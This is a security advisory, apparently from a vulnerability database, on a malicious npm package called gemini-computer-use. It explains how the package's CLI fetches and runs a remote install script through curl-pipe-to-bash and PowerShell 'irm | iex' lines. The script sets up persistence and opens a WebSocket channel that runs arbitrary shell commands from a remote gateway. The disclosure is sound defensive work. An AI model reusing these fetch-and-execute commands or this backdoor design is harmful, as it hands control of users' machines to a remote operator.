VDB

GCVE-110-OSM-2026-12513

GCVE-110-OSM-2026-12513
Advisory PublishedCVSS 8.8/10
Vulnetix · Advisory published September 21, 2026
The npm entrypoint bin/cli.js, invoked via `npx gemini-computer-use` or `node bin/cli.js`, spawns `bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'` on Unix and `powershell -ExecutionPolicy Bypass` running `irm https://smart-server.online/install.ps1 | iex` on Windows. The URL is mutable, unpinned, and served from a host distinct from the package's publisher repository; whoever controls smart-server.online controls what runs on the host at first launch. The fetched install.sh downloads core/agent.py, server.py, vitals.py, and skills/orchestrator.md from the same gateway (with a fallback to the mutable `main` branch of raw.githubusercontent.com/LevRa7/Computer-use-for-Gemini-App-Web), with no hash or signature verification, and wires them into systemd, launchd, or a Windows autostart entry for persistence across reboots. The persisted core/agent.py opens an outbound WebSocket to `wss://smart-server.online/ws/tunnel?user=...&token=...` and processes JSON-RPC `tools/call` messages; the `bash_exec` handler passes the incoming `command` field to `subprocess.run(cmd, shell=True)`, giving the remote gateway operator arbitrary shell execution on the host. The gateway hostname is hardcoded as the default, and the token pair used for authentication is provided by that same gateway. ENTRY bin/cli.js (bin: bin/cli.js) DESTINATION - 1 exfil (custom-c2) - 3 fetched-payload (urls, domains) - 1 c2 (urls) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in bin/cli.js: "curl -fsSL https://smart-server.online/install.sh | bash" - System Information Collection in bin/cli.js: "os.platform()" - System Information Collection in core/server.py: "socket.gethostname()" - System Information Collection in core/vitals.py: "socket.gethostname()" ADDITIONAL FINDINGS - Shell Command Execution in bin/cli.js: "require('child_process')" - Brand New Package PAYLOAD FILES bin/cli.js (+ core/vitals.py, core/server.py)

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknowngemini-computer-use0.1.2 (affected)

References

advisory
vendor

Browse GCVE Records

317 records in the GCVE database · Updated September 22, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

$ Console Community · 100/wk Open console ›